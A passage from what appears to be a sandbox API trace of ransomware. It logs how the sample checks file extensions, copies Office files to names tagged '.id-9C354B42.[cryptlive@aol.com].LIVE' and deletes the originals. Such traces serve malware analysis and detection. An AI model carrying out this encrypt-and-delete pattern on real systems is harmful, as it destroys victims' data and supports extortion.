(lpString=".jpg") returned 4 [0160.932] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.932] lstrlenW (lpString=".doc") returned 4 [0160.932] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.932] lstrlenW (lpString=".docx") returned 5 [0160.932] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.932] lstrlenW (lpString=".pdf") returned 4 [0160.932] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".xls") returned 4 [0160.932] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.932] lstrlenW (lpString=".xlsx") returned 5 [0160.933] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.933] lstrlenW (lpString=".ppt") returned 4 [0160.933] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.933] lstrlenW (lpString=".zip") returned 4 [0160.933] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.933] lstrlenW (lpString=".rar") returned 4 [0160.933] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.933] lstrlenW (lpString=".bz2") returned 4 [0160.933] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.933] lstrlenW (lpString=".7z") returned 3 [0160.933] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.933] lstrlenW (lpString=".dbf") returned 4 [0160.933] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.933] lstrlenW (lpString=".1cd") returned 4 [0160.933] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECRECS.ICO") returned 65 [0160.933] lstrlenW (lpString=".jpg") returned 4 [0160.933] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.933] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.933] lstrlenW (lpString="SECURS.ICO") returned 10 [0160.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.008] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0161.008] CloseHandle (hObject=0x3c4) returned 1 [0161.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 0x20 [0161.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0161.115] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.115] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.116] GetLastError () returned 0x0 [0161.116] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0161.128] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0161.129] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.129] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0161.129] SetEndOfFile (hFile=0x1fc) returned 1 [0161.129] CloseHandle (hObject=0x1fc) returned 1 [0161.129] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.129] SetEndOfFile (hFile=0x1dc) returned 1 [0161.132] CloseHandle (hObject=0x1dc) returned 1 [0161.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico")) returned 1 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.203] lstrlenW (lpString=".doc") returned 4 [0161.203] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.203] lstrlenW (lpString=".docx") returned 5 [0161.203] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.203] lstrlenW (lpString=".pdf") returned 4 [0161.204] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.204] lstrlenW (lpString=".xls") returned 4 [0161.204] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.204] lstrlenW (lpString=".xlsx") returned 5 [0161.204] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.204] lstrlenW (lpString=".ppt") returned 4 [0161.204] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.204] lstrlenW (lpString=".zip") returned 4 [0161.204] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.204] lstrlenW (lpString=".rar") returned 4 [0161.204] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.204] lstrlenW (lpString=".bz2") returned 4 [0161.204] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.204] lstrlenW (lpString=".7z") returned 3 [0161.204] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.204] lstrlenW (lpString=".dbf") returned 4 [0161.204] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.204] lstrlenW (lpString=".1cd") returned 4 [0161.204] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.204] lstrlenW (lpString=".jpg") returned 4 [0161.204] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.205] lstrlenW (lpString=".doc") returned 4 [0161.205] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.205] lstrlenW (lpString=".docx") returned 5 [0161.205] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0161.205] lstrlenW (lpString=".pdf") returned 4 [0161.205] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString=".xls") returned 4 [0161.205] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString=".xlsx") returned 5 [0161.205] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0161.205] lstrlenW (lpString=".ppt") returned 4 [0161.205] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.205] lstrlenW (lpString=".zip") returned 4 [0161.205] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString=".rar") returned 4 [0161.205] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.205] lstrlenW (lpString=".bz2") returned 4 [0161.205] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.205] lstrlenW (lpString=".7z") returned 3 [0161.205] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.206] lstrlenW (lpString=".dbf") returned 4 [0161.206] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.206] lstrlenW (lpString=".1cd") returned 4 [0161.206] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO") returned 64 [0161.206] lstrlenW (lpString=".jpg") returned 4 [0161.206] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.206] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.206] lstrlenW (lpString="SMIMEE.CFG") returned 10 [0161.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.207] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=640) returned 1 [0161.207] CloseHandle (hObject=0x1fc) returned 1 [0161.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 0x20 [0161.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.209] GetLastError () returned 0x0 [0161.209] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x280, lpOverlapped=0x0) returned 1 [0161.210] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0161.211] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.211] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0161.211] SetEndOfFile (hFile=0x314) returned 1 [0161.211] CloseHandle (hObject=0x314) returned 1 [0161.211] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.211] SetEndOfFile (hFile=0x1fc) returned 1 [0161.340] CloseHandle (hObject=0x1fc) returned 1 [0161.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg")) returned 1 [0161.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.450] lstrlenW (lpString=".doc") returned 4 [0161.451] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString=".docx") returned 5 [0161.451] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0161.451] lstrlenW (lpString=".pdf") returned 4 [0161.451] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString=".xls") returned 4 [0161.451] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString=".xlsx") returned 5 [0161.451] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0161.451] lstrlenW (lpString=".ppt") returned 4 [0161.451] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.451] lstrlenW (lpString=".zip") returned 4 [0161.451] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString=".rar") returned 4 [0161.451] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString=".bz2") returned 4 [0161.451] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.451] lstrlenW (lpString=".7z") returned 3 [0161.451] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.451] lstrlenW (lpString=".dbf") returned 4 [0161.451] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.451] lstrlenW (lpString=".1cd") returned 4 [0161.452] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString=".jpg") returned 4 [0161.452] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString=".doc") returned 4 [0161.452] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString=".docx") returned 5 [0161.452] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0161.452] lstrlenW (lpString=".pdf") returned 4 [0161.452] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString=".xls") returned 4 [0161.452] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString=".xlsx") returned 5 [0161.452] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0161.452] lstrlenW (lpString=".ppt") returned 4 [0161.452] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString=".zip") returned 4 [0161.452] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString=".rar") returned 4 [0161.452] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString=".bz2") returned 4 [0161.452] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.452] lstrlenW (lpString=".7z") returned 3 [0161.452] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString=".dbf") returned 4 [0161.452] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.452] lstrlenW (lpString=".1cd") returned 4 [0161.452] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned 64 [0161.453] lstrlenW (lpString=".jpg") returned 4 [0161.453] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.453] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.453] lstrlenW (lpString="TASK.CFG") returned 8 [0161.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.469] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=768) returned 1 [0161.469] CloseHandle (hObject=0x3c4) returned 1 [0161.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 0x20 [0161.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.523] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.523] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.524] GetLastError () returned 0x0 [0161.524] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x300, lpOverlapped=0x0) returned 1 [0161.561] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x310, lpOverlapped=0x0) returned 1 [0161.562] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.562] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0161.562] SetEndOfFile (hFile=0x3b4) returned 1 [0161.562] CloseHandle (hObject=0x3b4) returned 1 [0161.562] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.562] SetEndOfFile (hFile=0x1fc) returned 1 [0161.568] CloseHandle (hObject=0x1fc) returned 1 [0161.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 1 [0161.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.569] lstrlenW (lpString=".doc") returned 4 [0161.569] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.569] lstrlenW (lpString=".docx") returned 5 [0161.570] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0161.570] lstrlenW (lpString=".pdf") returned 4 [0161.570] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString=".xls") returned 4 [0161.570] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString=".xlsx") returned 5 [0161.570] lstrcmpiW (lpString1=".xlsx", lpString2="K.CFG") returned -1 [0161.570] lstrlenW (lpString=".ppt") returned 4 [0161.570] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString=".zip") returned 4 [0161.570] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString=".rar") returned 4 [0161.570] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString=".bz2") returned 4 [0161.570] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.570] lstrlenW (lpString=".7z") returned 3 [0161.570] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString=".dbf") returned 4 [0161.570] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString=".1cd") returned 4 [0161.570] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString=".jpg") returned 4 [0161.570] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.570] lstrlenW (lpString=".doc") returned 4 [0161.570] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.570] lstrlenW (lpString=".docx") returned 5 [0161.571] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0161.571] lstrlenW (lpString=".pdf") returned 4 [0161.571] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString=".xls") returned 4 [0161.571] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString=".xlsx") returned 5 [0161.571] lstrcmpiW 